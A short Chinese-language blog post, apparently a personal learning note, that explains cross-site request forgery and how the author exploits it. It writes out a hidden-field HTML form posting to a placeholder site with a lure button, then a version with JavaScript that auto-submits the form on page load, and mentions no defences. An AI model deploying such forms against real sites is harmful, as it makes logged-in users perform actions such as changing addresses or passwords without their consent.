初探csrf以及如何利用

csrf学过有很长一段时间了,之前也就简单的知道这个是什么东西,大概是怎么实现,没有亲自挖掘到过,有幸的是在上周挖掘到两个,这里小小的记录一下

1.csrf是什么?

在我个人的理解中,通过制造恶意链接,诱导在登陆某个web站点的时候请求了该恶意链接,而造成了以为用户并不想做的操作。例如添加/删除收获地址,改密码,修改个人信息等等。

2.怎么实现跟利用?

举个例子:在某个网站我们进行添加收获地址的操作时,向服务器发送了以下请求

1
2
3
4
5
//get请求为:
http://aimsite.com?add

//post的数据为:
name=xiaoming&phone=13888888888&home=chengdu

在没有防御的情况下,可以构造以下表单:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>csrf</title>
</head>
<body>
<form action="http://aimsite.com?add" method="post">
<input type="hidden" name="name" value="xiaoming"/>
<input type="hidden" name="phone" value="13888888888"/>
<input type="hidden" name="home" value="chengdu"/>
<input type="submit" value="点击查看小秘密" />
</form>
</body>
</html>

3.怎么实现点击链接就能提交?

加入一段小小的js代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>csrf</title>
</head>
<body>
<form id="myform" action="http://aimsite.com?add" method="post">
<input type="hidden" name="name" value="xiaoming"/>
<input type="hidden" name="phone" value="13888888888"/>
<input type="hidden" name="home" value="chengdu"/>
<input type="submit" value="点击查看小秘密" />
</form>
<script type="text/javascript">
function autosubmit(){
document.getElementById("myform").submit();
}
window.load=autosubmit();
</script>
</body>
</html>
在?给俺买颗糖?